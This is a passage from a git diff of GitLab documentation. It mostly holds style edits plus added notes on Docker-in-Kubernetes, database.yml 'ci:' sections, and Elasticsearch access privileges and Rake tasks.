-71,8 +71,8 @@ The first items you need to configure are the basic settings of the underlying v the user Azure uses to connect to the VM through SSH. By default, the user has root access. 1. Determine if you want to provide your own SSH key or let Azure create one for you. - Read the [SSH documentation](../../user/ssh.md) to learn more about how to set up SSH - public keys. + For more information about how to set up SSH + public keys, see [SSH](../../user/ssh.md). Review your entered settings, and then proceed to the Disks tab. diff --git a/doc/install/docker.md b/doc/install/docker.md index 2464f43dc23..40eb3a9796e 100644 --- a/doc/install/docker.md +++ b/doc/install/docker.md @@ -7,8 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitLab Docker images **(FREE SELF)** The GitLab Docker images are monolithic images of GitLab running all the -necessary services in a single container. If you instead want to install GitLab -on Kubernetes, see [GitLab Helm Charts](https://docs.gitlab.com/charts/). +necessary services in a single container. Find the GitLab official Docker image at: @@ -23,6 +22,11 @@ the MTA after every upgrade or restart. In the following examples, if you want to use the latest RC image, use `gitlab/gitlab-ee:rc` instead. +You should not deploy the GitLab Docker image in Kubernetes as it creates a +single point of failure. If you want to deploy GitLab in Kubernetes, the +[GitLab Helm Chart](https://docs.gitlab.com/charts/) or [GitLab Operator](https://docs.gitlab.com/operator/) +should be used instead. + WARNING: Docker for Windows is not officially supported. There are known issues with volume permissions, and potentially other unknown issues. If you are trying to run on Docker @@ -341,7 +345,7 @@ sudo docker run --detach \ gitlab/gitlab-ee:latest ``` -Note that every time you execute a `docker run` command, you need to provide +Every time you execute a `docker run` command, you need to provide the `GITLAB_OMNIBUS_CONFIG` option. The content of `GITLAB_OMNIBUS_CONFIG` is _not_ preserved between subsequent runs. @@ -619,7 +623,7 @@ sudo docker exec -it gitlab /bin/bash ``` From within the container you can administer the GitLab container as you would -normally administer an +usually administer an [Omnibus installation](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md) ### 500 Internal Error @@ -698,7 +702,7 @@ variety of statistics on the health and performance of GitLab. The files required for this gets written to a temporary file system (like `/run` or `/dev/shm`). -By default, Docker allocates 64MB to the shared memory directory (mounted at +By default, Docker allocates 64 MB to the shared memory directory (mounted at `/dev/shm`). This is insufficient to hold all the Prometheus metrics related files generated, and will generate error logs like the following: @@ -713,7 +717,7 @@ writing value to /dev/shm/gitlab/sidekiq/histogram_sidekiq_0-0.db failed with un ``` Other than disabling the Prometheus Metrics from the Admin Area, the recommended -solution to fix this problem is to increase the size of shared memory to at least 256MB. +solution to fix this problem is to increase the size of shared memory to at least 256 MB. If using `docker run`, this can be done by passing the flag `--shm-size 256m`. If using a `docker-compose.yml` file, the `shm_size` key can be used for this purpose. diff --git a/doc/install/install_methods.md b/doc/install/install_methods.md index a872941dfaf..af15dc3f085 100644 --- a/doc/install/install_methods.md +++ b/doc/install/install_methods.md @@ -26,7 +26,7 @@ You can install GitLab on several cloud providers. | Cloud provider | Description | |---------------------------------------------------------------|-------------| -| [AWS (HA)](aws/index.md) | Install GitLab on AWS using the community AMIs provided by GitLab. | +| [AWS](aws/index.md) | Install GitLab on AWS using the community AMIs provided by GitLab. | | [Google Cloud Platform (GCP)](google_cloud_platform/index.md) | Install GitLab on a VM in GCP. | | [Azure](azure/index.md) | Install GitLab from Azure Marketplace. | diff --git a/doc/install/installation.md b/doc/install/installation.md index 68c2b663566..be8667d5715 100644 --- a/doc/install/installation.md +++ b/doc/install/installation.md @@ -40,7 +40,7 @@ can't be terminated and its memory usage grows over time. ## Select a version to install Make sure you view [this installation guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/install/installation.md) from the branch (version) of GitLab you would like to install (for example, `11-7-stable`). -You can select the branch in the version dropdown list in the top left corner of GitLab (below the menu bar). +You can select the branch in the version dropdown list in the upper-left corner of GitLab (below the menu bar). If the highest number stable branch is unclear, check the [GitLab blog](https://about.gitlab.com/blog/) for installation guide links by version. @@ -621,10 +621,18 @@ sudo -u git -H editor config/database.yml # You can keep the double quotes around the password sudo -u git -H editor config/database.yml +# Uncomment the `ci:` sections in config/database.yml. +# Ensure the `database` value in `ci:` matches the database value in `main:`. + # Make config/database.yml readable to git only sudo -u git -H chmod o-rwx config/database.yml ``` +NOTE: +From GitLab 15.9, `database.yml` with only a section: `main:` is deprecated. +In GitLab 15.10 and later, you should have two sections in your `database.yml`, `main:` and `ci:`. The `ci`: connection [must be to the same database](../administration/postgresql/multiple_databases.md). +In GitLab 17.0 and later, you must have the two `main:` and `ci:` sections in your `database.yml`. + ### Install Gems NOTE: @@ -1051,7 +1059,7 @@ To use GitLab with HTTPS: 1. Review the configuration file and consider applying other security and performance enhancing features. Using a self-signed certificate is discouraged. If you must use one, -follow the normal directions and generate a self-signed SSL certificate: +follow the standard directions and generate a self-signed SSL certificate: ```shell mkdir -p /etc/nginx/ssl/ diff --git a/doc/install/migrate/compare_sm_to_saas.md b/doc/install/migrate/compare_sm_to_saas.md index db5bb54386f..a83c4a6865f 100644 --- a/doc/install/migrate/compare_sm_to_saas.md +++ b/doc/install/migrate/compare_sm_to_saas.md @@ -68,7 +68,7 @@ In a self-managed instance, users can access all API endpoints, including those On GitLab SaaS: -- SaaS users have access to all of the [API endpoints](../../api/index.md) except those that require instance `admin` permissions. +- SaaS users have access to all of the [API endpoints](../../api/rest/index.md) except those that require instance `admin` permissions. - Only authorized GitLab engineers have administrative access. ## Authentication diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md index 2d6a9411f25..341a822f2bf 100644 --- a/doc/install/postgresql_extensions.md +++ b/doc/install/postgresql_extensions.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Data Stores +group: Database info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -24,14 +24,14 @@ extensions into all secondary tracking databases (defaults to `gitlabhq_geo_prod |--------------|------------------------| | `plpgsql` | 9.0 | -In order to install extensions, PostgreSQL requires the user to have superuser privileges. +To install extensions, PostgreSQL requires the user to have superuser privileges. Typically, the GitLab database user is not a superuser. Therefore, regular database migrations cannot be used in installing extensions and instead, extensions have to be installed manually prior to upgrading GitLab to a newer version. ## Installing PostgreSQL extensions manually -In order to install a PostgreSQL extension, this procedure should be followed: +To install a PostgreSQL extension, this procedure should be followed: 1. Connect to the GitLab PostgreSQL database using a superuser, for example: diff --git a/doc/install/requirements.md b/doc/install/requirements.md index 70a9358ff7f..8c6f469aca2 100644 --- a/doc/install/requirements.md +++ b/doc/install/requirements.md @@ -54,12 +54,12 @@ Memory requirements are dependent on the number of users and expected workload. The following is the recommended minimum Memory hardware guidance for a handful of example GitLab user base sizes. -- **4GB RAM** is the **required** minimum memory size and supports up to 500 users +- **4 GB RAM** is the **required** minimum memory size and supports up to 500 users - Our [Memory Team](https://about.gitlab.com/handbook/engineering/development/enablement/data_stores/application_performance/) is working to reduce the memory requirement. -- 8GB RAM supports up to 1000 users +- 8 GB RAM supports up to 1000 users - More users? Consult the [reference architectures page](../administration/reference_architectures/index.md) -In addition to the above, we generally recommend having at least 2GB of swap on your server, +In addition to the above, we generally recommend having at least 2 GB of swap on your server, even if you currently have enough available RAM. Having swap helps to reduce the chance of errors occurring if your available memory changes. We also recommend configuring the kernel's swappiness setting to a low value like `10` to make the most of your RAM while still having the swap @@ -154,7 +154,7 @@ of GitLab Support or other GitLab engineers. - GitLab may create new schemas as part of Rails database migrations. This happens when performing a GitLab upgrade. The GitLab database account requires access to do this. -- GitLab creates and modifies tables during the upgrade process, and also as part of normal +- GitLab creates and modifies tables during the upgrade process, and also as part of standard operations to manage partitioned tables. - You should not modify the GitLab schema (for example, adding triggers or modifying tables). @@ -254,10 +254,10 @@ if you must increase the number of Puma workers. ## Redis and Sidekiq Redis stores all user sessions and the background task queue. -The storage requirements for Redis are minimal, about 25kB per user. +The storage requirements for Redis are minimal, about 25 kB per user. Sidekiq processes the background jobs with a multi-threaded process. -This process starts with the entire Rails stack (200MB+) but it can grow over time due to memory leaks. -On a very active server (10,000 billable users) the Sidekiq process can use 1GB+ of memory. +This process starts with the entire Rails stack (200 MB+) but it can grow over time due to memory leaks. +On a very active server (10,000 billable users) the Sidekiq process can use 1 GB+ of memory. ## Prometheus and its exporters diff --git a/doc/integration/advanced_search/elasticsearch.md b/doc/integration/advanced_search/elasticsearch.md index a55a56b30d6..6a2c562377f 100644 --- a/doc/integration/advanced_search/elasticsearch.md +++ b/doc/integration/advanced_search/elasticsearch.md @@ -5,7 +5,7 @@ group: Global Search info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Elasticsearch integration **(PREMIUM SELF)** +# Elasticsearch **(PREMIUM SELF)** This page describes how to enable Advanced Search. When enabled, Advanced Search provides faster search response times and [improved search features](../../user/search/advanced_search.md). @@ -25,7 +25,7 @@ Advanced Search works with the following versions of Elasticsearch. | GitLab 13.3 - 13.8 | Elasticsearch 6.4 - 7.x | | GitLab 12.7 - 13.2 | Elasticsearch 6.x - 7.x | -Advanced Search follows Elasticsearch's [End of Life Policy](https://www.elastic.co/support/eol). +Advanced Search follows the [Elasticsearch end-of-life policy](https://www.elastic.co/support/eol). When we change Elasticsearch supported versions in GitLab, we announce them in [deprecation notes](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations) in monthly release posts before we remove them. @@ -142,7 +142,7 @@ cd $indexer_path && sudo make install The `gitlab-elasticsearch-indexer` is installed to `/usr/local/bin`. You can change the installation path with the `PREFIX` environment variable. -Please remember to pass the `-E` flag to `sudo` if you do so. +Remember to pass the `-E` flag to `sudo` if you do so. Example: @@ -165,7 +165,7 @@ These errors may occur when indexing Git repository data. ## Enable Advanced Search -For GitLab instances with more than 50GB repository data you can follow the instructions for [how to index large instances efficiently](#how-to-index-large-instances-efficiently) below. +For GitLab instances with more than 50 GB repository data you can follow the instructions for [how to index large instances efficiently](#how-to-index-large-instances-efficiently) below. To enable Advanced Search, you must have administrator access to GitLab: @@ -217,14 +217,14 @@ The following Elasticsearch settings are available: | `Number of Elasticsearch shards` | Elasticsearch indices are split into multiple shards for performance reasons. In general, you should use at least 5 shards, and indices with tens of millions of documents need to have more shards ([see below](#guidance-on-choosing-optimal-cluster-configuration)). Changes to this value do not take effect until the index is recreated. You can read more about tradeoffs in the [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/scalability.html). | | `Number of Elasticsearch replicas` | Each Elasticsearch shard can have a number of replicas. These are a complete copy of the shard, and can provide increased query performance or resilience against hardware failure. Increasing this value increases total disk space required by the index. | | `Limit the number of namespaces and projects that can be indexed` | Enabling this allows you to select namespaces and projects to index. All other namespaces and projects use database search instead. If you enable this option but do not select any namespaces or projects, none are indexed. [Read more below](#limit-the-number-of-namespaces-and-projects-that-can-be-indexed).| -| `Using AWS OpenSearch Service with IAM credentials` | Sign your OpenSearch requests using [AWS IAM authorization](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html), [AWS EC2 Instance Profile Credentials](https://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-create-iam-instance-profile.html#getting-started-create-iam-instance-profile-cli), or [AWS ECS Tasks Credentials](https://docs.aws.amazon.com/AmazonECS/latest/userguide/task-iam-roles.html). Please refer to [Identity and Access Management in Amazon OpenSearch Service](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/ac.html) for details of AWS hosted OpenSearch domain access policy configuration. | +| `Using AWS OpenSearch Service with IAM credentials` | Sign your OpenSearch requests using [AWS IAM authorization](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html), [AWS EC2 Instance Profile Credentials](https://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-create-iam-instance-profile.html#getting-started-create-iam-instance-profile-cli), or [AWS ECS Tasks Credentials](https://docs.aws.amazon.com/AmazonECS/latest/userguide/task-iam-roles.html). Refer to [Identity and Access Management in Amazon OpenSearch Service](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/ac.html) for details of AWS hosted OpenSearch domain access policy configuration. | | `AWS Region` | The AWS region in which your OpenSearch Service is located. | | `AWS Access Key` | The AWS access key. | | `AWS Secret Access Key` | The AWS secret access key. | | `Maximum file size indexed` | See [the explanation in instance limits.](../../administration/instance_limits.md#maximum-file-size-indexed). | | `Maximum field length` | See [the explanation in instance limits.](../../administration/instance_limits.md#maximum-field-length). | -| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by the GitLab Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch's Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch hosts and the hosts running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | -| `Bulk request concurrency` | The Bulk request concurrency indicates how many of the GitLab Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch's Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch hosts and the hosts running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | +| `Maximum bulk request size (MiB)` | Used by the GitLab Ruby and Golang-based indexer processes. This setting indicates how much data must be collected (and stored in memory) in a given indexing process before submitting the payload to the Elasticsearch Bulk API. For the GitLab Golang-based indexer, you should use this setting with `Bulk request concurrency`. `Maximum bulk request size (MiB)` must accommodate the resource constraints of both the Elasticsearch hosts and the hosts running the GitLab Golang-based indexer from either the `gitlab-rake` command or the Sidekiq tasks. | +| `Bulk request concurrency` | The Bulk request concurrency indicates how many of the GitLab Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to the Elasticsearch Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch hosts and the hosts running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | | `Client request timeout` | Elasticsearch HTTP client request timeout value in seconds. `0` means using the system default timeout value, which depends on the libraries that GitLab application is built upon. | WARNING: @@ -233,14 +233,40 @@ Sidekiq performance. Return them to their default values if you see increased `s in your Sidekiq logs. For more information, see [issue 322147](https://gitlab.com/gitlab-org/gitlab/-/issues/322147). -### Access requirements for self-managed AWS OpenSearch Service using fine-grained access control +### Access requirements + +#### Elasticsearch with role privileges + +To access and perform operations in Elasticsearch, GitLab requires a role with the following privileges: + +```json +{ + "cluster": ["monitor"], + "indices": [ + { + "names": ["gitlab-*"], + "privileges": [ + "create_index", + "delete_index", + "view_index_metadata", + "read", + "manage", + "write" + ] + } + ] +} +``` + +For more information, see [Elasticsearch security privileges](https://www.elastic.co/guide/en/elasticsearch/reference/current/security-privileges.html). + +#### AWS OpenSearch Service with fine-grained access control To use the self-managed AWS OpenSearch Service with GitLab using fine-grained access control, try one of the [recommended configurations](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/fgac.html#fgac-recommendations). Configure your instance's domain access policies to allow `es:ESHttp*` actions. You can customize -the following example configuration to limit principals or resources. -See [Identity and Access Management in Amazon OpenSearch Service](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/ac.html) for details. +the following example configuration to limit principals or resources: ```json { @@ -262,18 +288,20 @@ See [Identity and Access Management in Amazon OpenSearch Service](https://docs.a } ``` -#### Connecting with a master user in the internal database +For more information, see [Identity and Access Management in Amazon OpenSearch Service](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/ac.html). + +##### Connecting with a master user in the internal database When using fine-grained access control with a user in the internal database, you should use HTTP basic authentication to connect to OpenSearch. You can provide the master username and password as part of the OpenSearch URL or in the **Username** and **Password** text boxes in the Advanced Search settings. See [Tutorial: Internal user database and HTTP basic authentication](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/fgac-walkthrough-basic.html) for details. -#### Connecting with an IAM user +##### Connecting with an IAM user When using fine-grained access control with IAM credentials, you can provide the credentials in the **AWS OpenSearch IAM credentials** section in the Advanced Search settings. -#### Permissions for fine-grained access control +##### Permissions for fine-grained access control The following permissions are required for Advanced Search. See [Creating roles](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/fgac.html#fgac-roles) for details. @@ -319,7 +347,7 @@ under **Elasticsearch indexing restrictions** more options become available.  -You can select namespaces and projects to index exclusively. Note that if the namespace is a group, it includes +You can select namespaces and projects to index exclusively. If the namespace is a group, it includes any subgroups and projects belonging to those subgroups to be indexed as well. Advanced Search only provides cross-group code/commit search (global) if all name-spaces are indexed. In this particular scenario where only a subset of namespaces are indexed, a global search does not provide a code or commit scope. This is possible only in the scope of an indexed namespace. There is no way to code/commit search in multiple indexed namespaces (when only a subset of namespaces has been indexed). For example if two groups are indexed, there is no way to run a single code search on both. You can only run a code search on the first group and then on the second. @@ -343,7 +371,7 @@ You can improve the language support for Chinese and Japanese languages by utili To enable languages support: -1. Install the desired plugins, please refer to [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/plugins/7.9/installation.html) for plugins installation instructions. The plugins must be installed on every node in the cluster, and each node must be restarted after installation. For a list of plugins, see the table later in this section. +1. Install the desired plugins, refer to [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/plugins/7.9/installation.html) for plugins installation instructions. The plugins must be installed on every node in the cluster, and each node must be restarted after installation. For a list of plugins, see the table later in this section. 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > Advanced Search**. 1. Locate **Custom analyzers: language support**. @@ -357,9 +385,9 @@ For guidance on what to install, see the following Elasticsearch language plugin | Parameter | Description | |-------------------------------------------------------|-------------| | `Enable Chinese (smartcn) custom analyzer: Indexing` | Enables or disables Chinese language support using [`smartcn`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) custom analyzer for newly created indices.| -| `Enable Chinese (smartcn) custom analyzer: Search` | Enables or disables using [`smartcn`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) fields for Advanced Search. Please only enable this after [installing the plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html), enabling custom analyzer indexing and recreating the index.| +| `Enable Chinese (smartcn) custom analyzer: Search` | Enables or disables using [`smartcn`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) fields for Advanced Search. Only enable this after [installing the plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html), enabling custom analyzer indexing and recreating the index.| | `Enable Japanese (kuromoji) custom analyzer: Indexing` | Enables or disables Japanese language support using [`kuromoji`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) custom analyzer for newly created indices.| -| `Enable Japanese (kuromoji) custom analyzer: Search` | Enables or disables using [`kuromoji`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) fields for Advanced Search. Please only enable this after [installing the plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html), enabling custom analyzer indexing and recreating the index.| +| `Enable Japanese (kuromoji) custom analyzer: Search` | Enables or disables using [`kuromoji`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) fields for Advanced Search. Only enable this after [installing the plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html), enabling custom analyzer indexing and recreating the index.| ## Disable Advanced Search @@ -393,7 +421,7 @@ and Elasticsearch index alias feature to perform the operation. We set up an ind `primary` index which is used by GitLab for reads/writes. When reindexing process starts, we temporarily pause the writes to the `primary` index. Then, we create another index and invoke the Reindex API which migrates the index data onto the new index. After the reindexing job is complete, we switch to the new index by connecting the -index alias to it which becomes the new `primary` index. At the end, we resume the writes and normal operation resumes. +index alias to it which becomes the new `primary` index. At the end, we resume the writes and typical operation resumes. ### Trigger the reindex via the Advanced Search administration @@ -521,7 +549,7 @@ This should return something similar to: } ``` -In order to debug issues with the migrations you can check the [`elasticsearch.log` file](../../administration/logs/index.md#elasticsearchlog). +To debug issues with the migrations you can check the [`elasticsearch.log` file](../../administration/logs/index.md#elasticsearchlog). ### Retry a halted migration @@ -560,16 +588,17 @@ The following are some available Rake tasks: | Task | Description | |:--------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [`sudo gitlab-rake gitlab:elastic:info`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Outputs debugging information for the Advanced Search integration. | -| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. | +| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, `gitlab:elastic:index_snippets`, and `gitlab:elastic:index_users`. | | [`sudo gitlab-rake gitlab:elastic:pause_indexing`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Pauses Elasticsearch indexing. Changes are still tracked. Useful for cluster/index migrations. | | [`sudo gitlab-rake gitlab:elastic:resume_indexing`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Resumes Elasticsearch indexing. | | [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects, and queues Sidekiq jobs to index them in the background. It can only be used after the index is created. | | [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. | -| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. Note that this command results in a complete wipe of the index, and it should be used with caution. | +| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. This command results in a complete wipe of the index, and it should be used with caution. | | [`sudo gitlab-rake gitlab:elastic:create_empty_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Generates empty indices (the default index and a separate issues index) and assigns an alias for each on the Elasticsearch side only if it doesn't already exist. | | [`sudo gitlab-rake gitlab:elastic:delete_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Removes the GitLab indices and aliases (if they exist) on the Elasticsearch instance. | | [`sudo gitlab-rake gitlab:elastic:recreate_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index` and `gitlab:elastic:create_empty_index`. | | [`sudo gitlab-rake gitlab:elastic:index_snippets`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Performs an Elasticsearch import that indexes the snippets data. | +| [`sudo gitlab-rake gitlab:elastic:index_users`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Imports all users into Elasticsearch. | | [`sudo gitlab-rake gitlab:elastic:projects_not_indexed`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Displays which projects are not indexed. | | [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. | | [`sudo gitlab-rake gitlab:elastic:mark_reindex_failed`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Mark the most recent re-index job as failed. | @@ -584,7 +613,6 @@ In addition to the Rake tasks, there are some environment variables that can be | Environment Variable | Data Type | What it does | | -------------------- |:---------:| ---------------------------------------------------------------------------- | -| `UPDATE_INDEX` | Boolean | Tells the indexer to overwrite any existing index data (true/false). | | `ID_TO` | Integer | Tells the indexer to only index projects less than or equal to the value. | | `ID_FROM` | Integer | Tells the indexer to only index projects greater than or equal to the value. | @@ -620,6 +648,7 @@ When performing a search, the GitLab index uses the following scopes: | `notes` | Note data | | `snippets` | Snippet data | | `wiki_blobs` | Wiki contents | +| `users` | Users | ## Tuning @@ -632,7 +661,7 @@ For basic guidance on choosing a cluster configuration you may refer to [Elastic - You can use the [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) to benchmark search performance with different search cluster sizes and configurations. - `Heap size` should be set to no more than 50% of your physical RAM. Additionally, it shouldn't be set to more than the threshold for zero-based compressed oops. The exact threshold varies, but 26 GB is safe on most systems, but can also be as large as 30 GB on some systems. See [Heap size settings](https://www.elastic.co/guide/en/elasticsearch/reference/current/important-settings.html#heap-size-settings) and [Setting JVM options](https://www.elastic.co/guide/en/elasticsearch/reference/current/jvm-options.html) for more details. - Number of CPUs (CPU cores) per node usually corresponds to the `Number of Elasticsearch shards` setting described below. -- A good guideline is to ensure you keep the number of shards per node below 20 per GB heap it has configured. A node with a 30GB heap should therefore have a maximum of 600 shards, but the further below this limit you can keep it the better. This generally helps the cluster stay in good health. +- A good guideline is to ensure you keep the number of shards per node below 20 per GB heap it has configured. A node with a 30 GB heap should therefore have a maximum of 600 shards, but the further below this limit you can keep it the better. This generally helps the cluster stay in good health. - Number of Elasticsearch shards: - Small shards result in small segments, which increases overhead. Aim to keep the average shard size between at least a few GB and a few tens of GB. - Another consideration is the number of documents. To determine the number of shards to use, sum the numbers in the **Main menu > Admin > Dashboard > Statistics** pane (the number of documents to be indexed), divide by 5 million, and add 5. For example: @@ -685,7 +714,7 @@ Make sure to prepare for this task by having a - You can temporarily disable [`refresh`](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-refresh.html), the operation responsible for making changes to an index available to search. - - You can set the number of replicas to 0. This setting controls the number of copies each primary shard of an index will have. Thus, having 0 replicas effectively disables the replication of shards across nodes, which should increase the indexing performance. This is an important trade-off in terms of reliability and query performance. It is important to remember to set the replicas to a considered value after the initial indexing is complete. + - You can set the number of replicas to 0. This setting controls the number of copies each primary shard of an index has. Thus, having 0 replicas effectively disables the replication of shards across nodes, which should increase the indexing performance. This is an important trade-off in terms of reliability and query performance. It is important to remember to set the replicas to a considered value after the initial indexing is complete. In our experience, you can expect a 20% decrease in indexing time. After completing indexing in a later step, you can return `refresh` and `number_of_replicas` to their desired settings. @@ -737,26 +766,12 @@ Make sure to prepare for this task by having a ``` Where `ID_FROM` and `ID_TO` are project IDs. Both parameters are optional. - The above example will index all projects from ID `1001` up to (and including) ID `2000`. + The above example indexes all projects from ID `1001` up to (and including) ID `2000`. NOTE: Sometimes the project indexing jobs queued by `gitlab:elastic:index_projects` can get interrupted. This may happen for many reasons, but it's always safe - to run the indexing task again. It will skip repositories that have - already been indexed. - - As the indexer stores the last commit SHA of every indexed repository in the - database, you can run the indexer with the special parameter `UPDATE_INDEX` and - it will check every project repository again to make sure that every commit in - a repository is indexed, which can be useful in case if your index is outdated: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000 - - # Installations from source - bundle exec rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000 RAILS_ENV=production - ``` + to run the indexing task again. You can also use the `gitlab:elastic:clear_index_status` Rake task to force the indexer to "forget" all progress, so it retries the indexing process from the @@ -817,11 +832,11 @@ Make sure to prepare for this task by having a Whenever a change or deletion is made to an indexed GitLab object (a merge request description is changed, a file is deleted from the default branch in a repository, a project is deleted, etc), a document in the index is deleted. However, since these are "soft" deletes, the overall number of "deleted documents", and therefore wasted space, increases. Elasticsearch does intelligent merging of segments to remove these deleted documents. However, depending on the amount and type of activity in your GitLab installation, it's possible to see as much as 50% wasted space in the index. -In general, we recommend letting Elasticsearch merge and reclaim space automatically, with the default settings. From [Lucene's Handling of Deleted Documents](https://www.elastic.co/blog/lucenes-handling-of-deleted-documents "Lucene's Handling of Deleted Documents"), _"Overall, besides perhaps decreasing the maximum segment size, it is best to leave Lucene's defaults as-is and not fret too much about when deletes are reclaimed."_ +In general, we recommend letting Elasticsearch merge and reclaim space automatically, with the default settings. From [Lucene's Handling of Deleted Documents](https://www.elastic.co/blog/lucenes-handling-of-deleted-documents "Lucene's Handling of Deleted Documents"), _"Overall, besides perhaps decreasing the maximum segment size, it is best to leave Lucene defaults as-is and not fret too much about when deletes are reclaimed."_ However, some larger installations may wish to tune the merge policy settings: -- Consider reducing the `index.merge.policy.max_merged_segment` size from the default 5 GB to maybe 2 GB or 3 GB. Merging only happens when a segment has at least 50% deletions. Smaller segment sizes will allow merging to happen more frequently. +- Consider reducing the `index.merge.policy.max_merged_segment` size from the default 5 GB to maybe 2 GB or 3 GB. Merging only happens when a segment has at least 50% deletions. Smaller segment sizes allows merging to happen more frequently. ```shell curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' \ diff --git a/doc/integration/advanced_search/elasticsearch_troubleshooting.md b/doc/integration/advanced_search/elasticsearch_troubleshooting.md index 7e2edf10c90..c8d11286a3c 100644 --- 